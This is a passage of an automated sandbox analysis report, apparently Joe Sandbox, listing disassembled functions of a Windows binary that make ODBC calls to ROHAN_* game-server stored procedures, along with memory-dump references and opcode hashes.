                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_ClearNGuildPostBox] (?) }
                                                                                                                            • API String ID: 0-177149280
                                                                                                                            • Opcode ID: 7dcf29ec7b1e5f008e12a5e83e9f8331b4fa682c9c6f2c480584c537bac7d3ac
                                                                                                                            • Instruction ID: 656aed9da2bfcdcaa2d5c56eb491b0803885276eb9958aa078db07cddd1f9f6e
                                                                                                                            • Opcode Fuzzy Hash: 7dcf29ec7b1e5f008e12a5e83e9f8331b4fa682c9c6f2c480584c537bac7d3ac
                                                                                                                            • Instruction Fuzzy Hash: D911ECB5A40658EBEB64CF44CC56FEA7374EB84719F204289F6187E3C0DAB569808F58
                                                                                                                            Function 00427561 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetEventItemList](?) } ,000000FD), ref: 0042758A
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004275C9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004275FE
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetEventItemList](?) } , xrefs: 00427581
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetEventItemList](?) }
                                                                                                                            • API String ID: 0-579189525
                                                                                                                            • Opcode ID: ca5dc42974452ceb63b27715d83bc325b1f4a94aa123bd606ed76a5c64922ac2
                                                                                                                            • Instruction ID: 56cf096e100d8f687d18210193bdd0228549fcbc180abab33abbbe68e7adc68c
                                                                                                                            • Opcode Fuzzy Hash: ca5dc42974452ceb63b27715d83bc325b1f4a94aa123bd606ed76a5c64922ac2
                                                                                                                            • Instruction Fuzzy Hash: 411100B1A50219ABEB64DF44CC56FAE7374EB44B18F204289F71C6B2D0DAB56D808F58
                                                                                                                            Function 00436506 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_DelLootMoney](?)},000000FD), ref: 0043652F
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043656E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004365A3
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_DelLootMoney](?)}, xrefs: 00436526
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_DelLootMoney](?)}
                                                                                                                            • API String ID: 0-3170926589
                                                                                                                            • Opcode ID: 0422deb800bd877d6c08aaf5fe103b150304642ebce19a8239c25fc36e07414b
                                                                                                                            • Instruction ID: 8f9967431b4042d5af174adc7d62253f4fc9842210251df79691fb9f0bef8b43
                                                                                                                            • Opcode Fuzzy Hash: 0422deb800bd877d6c08aaf5fe103b150304642ebce19a8239c25fc36e07414b
                                                                                                                            • Instruction Fuzzy Hash: DD11E2B1A4421CABFB24CF54CD41FD97374EB45714F204789F6246A2C5DAB569C08F58
                                                                                                                            Function 0042B539 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetSubGuild](?) } ,000000FD), ref: 0042B562
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042B5A1
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042B5D6
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetSubGuild](?) } , xrefs: 0042B559
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetSubGuild](?) }
                                                                                                                            • API String ID: 0-1611532322
                                                                                                                            • Opcode ID: b1ca3f660b0e162e90caef382f1177845eb849a64160229cadf6044cc1df7cb2
                                                                                                                            • Instruction ID: e7446c5e793f2da010ded6eb9289aa7a3b57bb962438dd17e51288a7deb0e8ec
                                                                                                                            • Opcode Fuzzy Hash: b1ca3f660b0e162e90caef382f1177845eb849a64160229cadf6044cc1df7cb2
                                                                                                                            • Instruction Fuzzy Hash: 2D11EFB0A45218ABFB25DF84CC51FAA7378FB84714F1092CDF618BA3C4C6B56A408F58
                                                                                                                            Function 0042B6BF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_DelSubGuild](?) } ,000000FD), ref: 0042B6E8
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042B727
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042B75C
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_DelSubGuild](?) } , xrefs: 0042B6DF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_DelSubGuild](?) }
                                                                                                                            • API String ID: 0-532444305
                                                                                                                            • Opcode ID: 91a6824d1c456ce75097fb0e3a2a8f984bcacf661537bc41356f5b18c9504180
                                                                                                                            • Instruction ID: aaf4becd1f299601a0276e2158bb167c1b78c82435729b18cfabd56a94b376ac
                                                                                                                            • Opcode Fuzzy Hash: 91a6824d1c456ce75097fb0e3a2a8f984bcacf661537bc41356f5b18c9504180
                                                                                                                            • Instruction Fuzzy Hash: E811F1B1A44258ABDB25CF44CCA2F9E7379EB48714F10438AF6186A2C4D6B56A408F58
                                                                                                                            Function 00425A6F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_DestroyNGuild] (?) } ,000000FD), ref: 00425A98
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00425AD7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00425B0C
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_DestroyNGuild] (?) } , xrefs: 00425A8F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_DestroyNGuild] (?) }
                                                                                                                            • API String ID: 0-199569042
                                                                                                                            • Opcode ID: 9cd6f1947f0cd23c08a8c43bd95971b23c4f9151f13bb0fb38094f66a223df14
                                                                                                                            • Instruction ID: 47708bb1fbb83cdf4082622ba36865f2720efb8dde384bc06b0ffbfc918d79b7
                                                                                                                            • Opcode Fuzzy Hash: 9cd6f1947f0cd23c08a8c43bd95971b23c4f9151f13bb0fb38094f66a223df14
                                                                                                                            • Instruction Fuzzy Hash: 1F11ECB1B45218BFFF24CF44CC42FEA7374EB85714F208289F6586E2C4D6B5A9908B59
                                                                                                                            Function 0042C3B3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetItemOfCharacter] (?)},000000FD), ref: 0042C3D3
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042C412
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042C44A
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetItemOfCharacter] (?)}, xrefs: 0042C3CA
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
